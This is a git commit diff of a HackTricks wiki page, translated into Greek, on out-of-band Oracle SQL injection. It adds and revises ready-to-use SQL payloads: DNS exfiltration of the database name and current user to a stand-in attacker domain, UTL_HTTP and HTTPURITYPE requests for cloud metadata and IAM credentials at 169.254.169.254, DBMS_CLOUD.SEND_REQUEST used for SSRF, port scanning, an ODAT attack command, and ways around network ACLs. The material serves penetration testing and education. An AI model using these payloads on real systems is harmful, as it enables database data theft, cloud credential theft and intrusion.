mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/sql-injection/oracle-injection.md'] to e
This commit is contained in:
parent
c5d53f9372
commit
2041a11bb3
@ -16,7 +16,7 @@ docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
|
||||
```
|
||||
#### Oracle packages that support a URL or a Hostname/Port Number specification <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
|
||||
|
||||
Για να βρω οποιαδήποτε πακέτα και συναρτήσεις που υποστηρίζουν μια διεύθυνση και αριθμό θύρας, έκανα μια αναζήτηση στο Google στην [Oracle Database Online Documentation](https://docs.oracle.com/database/121/index.html). Συγκεκριμένα,
|
||||
Για να βρω οποιαδήποτε πακέτα και συναρτήσεις που υποστηρίζουν μια προδιαγραφή host και port, έκανα μια αναζήτηση στο Google στην [Oracle Database Online Documentation](https://docs.oracle.com/database/121/index.html). Συγκεκριμένα,
|
||||
```
|
||||
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
|
||||
```
|
||||
@ -37,13 +37,13 @@ site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portn
|
||||
- DBMS_STREAMS_ADM
|
||||
- UTL_HTTP
|
||||
|
||||
Αυτή η πρόχειρη αναζήτηση προφανώς παραλείπει πακέτα όπως το `DBMS_LDAP` (το οποίο επιτρέπει τη μεταφορά ενός ονόματος κεντρικού υπολογιστή και αριθμού θύρας) καθώς η [σελίδα τεκμηρίωσης](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) σας παραπέμπει απλώς σε μια [διαφορετική τοποθεσία](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360). Έτσι, μπορεί να υπάρχουν άλλα πακέτα Oracle που μπορούν να καταχραστούν για να γίνουν εξωτερικά αιτήματα που μπορεί να έχω παραλείψει.
|
||||
Αυτή η πρόχειρη αναζήτηση προφανώς παραλείπει πακέτα όπως το `DBMS_LDAP` (το οποίο επιτρέπει τη μεταφορά ενός ονόματος κεντρικού υπολογιστή και αριθμού θύρας) καθώς η [σελίδα τεκμηρίωσης](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) σας παραπέμπει απλώς σε μια [διαφορετική τοποθεσία](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360). Επομένως, μπορεί να υπάρχουν άλλα πακέτα Oracle που μπορούν να καταχραστούν για να κάνουν εξωτερικά αιτήματα που μπορεί να έχω παραλείψει.
|
||||
|
||||
Σε κάθε περίπτωση, ας ρίξουμε μια ματιά σε μερικά από τα πακέτα που έχουμε ανακαλύψει και καταγράψει παραπάνω.
|
||||
|
||||
**DBMS_LDAP.INIT**
|
||||
|
||||
Το πακέτο `DBMS_LDAP` επιτρέπει την πρόσβαση σε δεδομένα από διακομιστές LDAP. Η συνάρτηση `init()` αρχικοποιεί μια συνεδρία με έναν διακομιστή LDAP και παίρνει ένα όνομα κεντρικού υπολογιστή και αριθμό θύρας ως παράμετρο.
|
||||
Το πακέτο `DBMS_LDAP` επιτρέπει την πρόσβαση σε δεδομένα από διακομιστές LDAP. Η συνάρτηση `init()` αρχικοποιεί μια συνεδρία με έναν διακομιστή LDAP και δέχεται ένα όνομα κεντρικού υπολογιστή και αριθμό θύρας ως παράμετρο.
|
||||
|
||||
Αυτή η συνάρτηση έχει τεκμηριωθεί προηγουμένως για να δείξει την εξαγωγή δεδομένων μέσω DNS, όπως παρακάτω
|
||||
```
|
||||
@ -62,7 +62,7 @@ SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
|
||||
|
||||
**UTL_SMTP**
|
||||
|
||||
Το πακέτο `UTL_SMTP` έχει σχεδιαστεί για την αποστολή email μέσω SMTP. Το παράδειγμα που παρέχεται στον [ιστότοπο τεκμηρίωσης της Oracle δείχνει πώς μπορείτε να χρησιμοποιήσετε αυτό το πακέτο για να στείλετε ένα email](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478). Για εμάς, ωστόσο, το ενδιαφέρον είναι η δυνατότητα παροχής προδιαγραφών host και θύρας.
|
||||
Το πακέτο `UTL_SMTP` έχει σχεδιαστεί για την αποστολή email μέσω SMTP. Το παράδειγμα που παρέχεται στον [ιστότοπο τεκμηρίωσης της Oracle δείχνει πώς μπορείτε να χρησιμοποιήσετε αυτό το πακέτο για να στείλετε ένα email](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478). Για εμάς, ωστόσο, το ενδιαφέρον είναι η δυνατότητα παροχής προδιαγραφών για host και θύρα.
|
||||
|
||||
Ένα πρόχειρο παράδειγμα φαίνεται παρακάτω με τη λειτουργία `UTL_SMTP.OPEN_CONNECTION`, με χρονικό όριο 2 δευτερολέπτων.
|
||||
```
|
||||
@ -124,15 +124,15 @@ END;
|
||||
utl_tcp.close_connection(c);
|
||||
END;
|
||||
```
|
||||
Ενδιαφέρον είναι ότι, λόγω της δυνατότητας δημιουργίας ωμών αιτημάτων TCP, αυτό το πακέτο μπορεί επίσης να χρησιμοποιηθεί για να ερωτήσει την υπηρεσία μεταδεδομένων της Instace όλων των παρόχων cloud, καθώς ο τύπος μεθόδου και οι επιπλέον κεφαλίδες μπορούν να περαστούν μέσα στο αίτημα TCP.
|
||||
Ενδιαφέρον, λόγω της ικανότητας να δημιουργεί ακατέργαστα αιτήματα TCP, αυτό το πακέτο μπορεί επίσης να χρησιμοποιηθεί για να ερωτήσει την υπηρεσία μεταδεδομένων της Instance όλων των παρόχων cloud, καθώς ο τύπος μεθόδου και οι επιπλέον κεφαλίδες μπορούν να περαστούν μέσα στο αίτημα TCP.
|
||||
|
||||
**UTL_HTTP και Ιστοσελίδες Αιτημάτων**
|
||||
|
||||
Ίσως η πιο κοινή και ευρέως τεκμηριωμένη τεχνική σε κάθε tutorial Oracle SQL Injection Out of Band είναι το [`UTL_HTTP` package](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). Αυτό το πακέτο ορίζεται από την τεκμηρίωση ως - `The UTL_HTTP package makes Hypertext Transfer Protocol (HTTP) callouts from SQL and PL/SQL. You can use it to access data on the Internet over HTTP.`
|
||||
Ίσως η πιο κοινή και ευρέως τεκμηριωμένη τεχνική σε κάθε tutorial Out of Band Oracle SQL Injection είναι το [`UTL_HTTP` package](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). Αυτό το πακέτο ορίζεται από την τεκμηρίωση ως - `The UTL_HTTP package makes Hypertext Transfer Protocol (HTTP) callouts from SQL and PL/SQL. You can use it to access data on the Internet over HTTP.`
|
||||
```
|
||||
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
|
||||
```
|
||||
Μπορείτε επιπλέον να το χρησιμοποιήσετε για να εκτελέσετε μερικές στοιχειώδεις σάρωσεις θυρών με ερωτήματα όπως
|
||||
Μπορείτε επιπλέον να το χρησιμοποιήσετε για να εκτελέσετε μερικές στοιχειώδεις σάρωσεις θυρών επίσης με ερωτήματα όπως
|
||||
```
|
||||
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
|
||||
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
|
||||
@ -140,6 +140,89 @@ select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
|
||||
```
|
||||
Ένα `ORA-12541: TNS:no listener` ή ένα `TNS:operation timed out` είναι σημάδι ότι η θύρα TCP είναι κλειστή, ενώ ένα `ORA-29263: HTTP protocol error` ή δεδομένα είναι σημάδι ότι η θύρα είναι ανοιχτή.
|
||||
|
||||
Ένα άλλο πακέτο που έχω χρησιμοποιήσει στο παρελθόν με ποικίλη επιτυχία είναι η [`GETCLOB()` μέθοδος του `HTTPURITYPE` Oracle abstract type](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705) που σας επιτρέπει να αλληλεπιδράτε με μια διεύθυνση URL και παρέχει υποστήριξη για το πρωτόκολλο HTTP. Η μέθοδος `GETCLOB()` χρησιμοποιείται για να ανακτήσει την απόκριση GET από μια διεύθυνση URL ως [CLOB data type.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
|
||||
Ένα άλλο πακέτο που έχω χρησιμοποιήσει στο παρελθόν με ποικιλία επιτυχίας είναι η [`GETCLOB()` μέθοδος του `HTTPURITYPE` Oracle abstract type](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705) που σας επιτρέπει να αλληλεπιδράτε με μια διεύθυνση URL και παρέχει υποστήριξη για το πρωτόκολλο HTTP. Η μέθοδος `GETCLOB()` χρησιμοποιείται για να ανακτήσει την απόκριση GET από μια διεύθυνση URL ως [CLOB data type.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)
|
||||
```
|
||||
SELECT HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() FROM dual;
|
||||
```
|
||||
---
|
||||
|
||||
## Επιπλέον Πακέτα & Τεχνικές (Oracle 19c → 23c)
|
||||
|
||||
### UTL_INADDR – Εξαγωγή δεδομένων μέσω DNS και ανακάλυψη hosts
|
||||
|
||||
`UTL_INADDR` εκθέτει απλούς βοηθούς επίλυσης ονομάτων που ενεργοποιούν μια εξερχόμενη αναζήτηση DNS από τον κεντρικό υπολογιστή της βάσης δεδομένων. Δεδομένου ότι απαιτείται μόνο ένα domain (χωρίς port/ACL) είναι μια αξιόπιστη πρωτογενής μέθοδος για blind-exfil όταν άλλες κλήσεις δικτύου είναι αποκλεισμένες.
|
||||
```sql
|
||||
-- Leak the DB name and current user via a DNS query handled by Burp Collaborator
|
||||
SELECT UTL_INADDR.get_host_address(
|
||||
(SELECT name FROM v$database)||'.'||(SELECT user FROM dual)||
|
||||
'.attacker.oob.server') FROM dual;
|
||||
```
|
||||
`get_host_address()` επιστρέφει τη διεύθυνση IP που έχει επιλυθεί (ή προκαλεί `ORA-29257` αν η επίλυση αποτύχει). Ο επιτιθέμενος χρειάζεται μόνο να παρακολουθεί το εισερχόμενο αίτημα DNS στον ελεγχόμενο τομέα για να επιβεβαιώσει την εκτέλεση του κώδικα.
|
||||
|
||||
### DBMS_CLOUD.SEND_REQUEST – πλήρης HTTP πελάτης σε Autonomous/23c
|
||||
|
||||
Οι πρόσφατες εκδόσεις που επικεντρώνονται στο cloud (Autonomous Database, 21c/23c, 23ai) περιλαμβάνουν το `DBMS_CLOUD`. Η συνάρτηση `SEND_REQUEST` λειτουργεί ως γενικού σκοπού HTTP πελάτης που υποστηρίζει προσαρμοσμένα ρήματα, κεφαλίδες, TLS και μεγάλες σώματα, καθιστώντας την πολύ πιο ισχυρή από την κλασική `UTL_HTTP`.
|
||||
```sql
|
||||
-- Assuming the current user has CREATE CREDENTIAL and network ACL privileges
|
||||
BEGIN
|
||||
-- empty credential when no auth is required
|
||||
DBMS_CLOUD.create_credential(
|
||||
credential_name => 'NOAUTH',
|
||||
username => 'ignored',
|
||||
password => 'ignored');
|
||||
END;
|
||||
/
|
||||
|
||||
DECLARE
|
||||
resp DBMS_CLOUD_TYPES.resp;
|
||||
BEGIN
|
||||
resp := DBMS_CLOUD.send_request(
|
||||
credential_name => 'NOAUTH',
|
||||
uri => 'http://169.254.169.254/latest/meta-data/',
|
||||
method => 'GET',
|
||||
timeout => 3);
|
||||
dbms_output.put_line(DBMS_CLOUD.get_response_text(resp));
|
||||
END;
|
||||
/
|
||||
```
|
||||
Γιατί το `SEND_REQUEST` επιτρέπει αυθαίρετες διευθύνσεις URI στόχου, μπορεί να καταχραστεί μέσω SQLi για:
|
||||
1. Εσωτερική σάρωση θυρών / SSRF σε υπηρεσίες μεταδεδομένων cloud.
|
||||
2. Εξαγωγή εκτός ζώνης μέσω HTTPS (χρησιμοποιήστε το Burp Collaborator ή ένα `ngrok` τούνελ).
|
||||
3. Επιστροφές σε διακομιστές επιτιθέμενων ακόμη και όταν οι παλαιότερες πακέτες κλήσεων είναι απενεργοποιημένες από ACLs.
|
||||
|
||||
ℹ️ Εάν έχετε μόνο μια κλασική on-prem 19c αλλά μπορείτε να δημιουργήσετε αποθηκευμένες διαδικασίες Java, μπορείτε μερικές φορές να εγκαταστήσετε το `DBMS_CLOUD` από το πακέτο πελάτη OCI — χρήσιμο σε ορισμένες εμπλοκές.
|
||||
|
||||
### Αυτοματοποίηση της επιφάνειας επίθεσης με **ODAT**
|
||||
|
||||
[ODAT – Oracle Database Attacking Tool](https://github.com/quentinhardy/odat) έχει παρακολουθήσει τις σύγχρονες εκδόσεις (δοκιμασμένο μέχρι 19c, 5.1.1 – Απρ-2022). Τα modules `–utl_http`, `–utl_tcp`, `–httpuritype` και τα νεότερα `–dbms_cloud` αυτόματα:
|
||||
* Ανιχνεύουν χρησιμοποιήσιμα πακέτα κλήσεων/παραχωρήσεις ACL.
|
||||
* Προκαλούν DNS & HTTP επιστροφές για τυφλή εξαγωγή.
|
||||
* Δημιουργούν έτοιμα προς αντιγραφή SQL payloads για Burp/SQLMap.
|
||||
|
||||
Παράδειγμα: γρήγορος έλεγχος OOB με προεπιλεγμένα διαπιστευτήρια (φροντίζει για την καταμέτρηση ACL στο παρασκήνιο):
|
||||
```bash
|
||||
odat all -s 10.10.10.5 -p 1521 -d XE -U SCOTT -P tiger --modules oob
|
||||
```
|
||||
### Πρόσφατοι περιορισμοί & παρακάμψεις δικτύου ACL
|
||||
|
||||
Η Oracle αυστηροποίησε τα προεπιλεγμένα Network ACLs στην CPU Ιουλίου 2023 — οι λογαριασμοί χωρίς δικαιώματα τώρα λαμβάνουν `ORA-24247: network access denied by access control list` από προεπιλογή. Δύο μοτίβα επιτρέπουν ακόμα κλήσεις μέσω SQLi:
|
||||
1. Ο στοχευμένος λογαριασμός κατέχει μια είσοδο ACL (`DBMS_NETWORK_ACL_ADMIN.create_acl`) που προστέθηκε από έναν προγραμματιστή για ενσωματώσεις.
|
||||
2. Ο επιτιθέμενος εκμεταλλεύεται μια ρουτίνα PL/SQL με δικαιώματα ορισμού υψηλής προνομιακής πρόσβασης (π.χ. σε μια προσαρμοσμένη εφαρμογή) που *έχει ήδη* `AUTHID DEFINER` και τις απαραίτητες παραχωρήσεις.
|
||||
|
||||
Αν συναντήσετε `ORA-24247` κατά την εκμετάλλευση, πάντα αναζητήστε επαναχρησιμοποιήσιμες διαδικασίες:
|
||||
```sql
|
||||
SELECT owner, object_name
|
||||
FROM dba_objects
|
||||
WHERE object_type = 'PROCEDURE'
|
||||
AND authid = 'DEFINER';
|
||||
```
|
||||
(in many audits at least one reporting/export procedure had the needed rights).
|
||||
|
||||
---
|
||||
|
||||
## Αναφορές
|
||||
|
||||
* Oracle Docs – περιγραφή και παραδείγματα του πακέτου `DBMS_CLOUD.SEND_REQUEST`.
|
||||
* quentinhardy/odat – Εργαλείο Επίθεσης Βάσης Δεδομένων Oracle (τελευταία έκδοση 5.1.1, Απρ-2022).
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user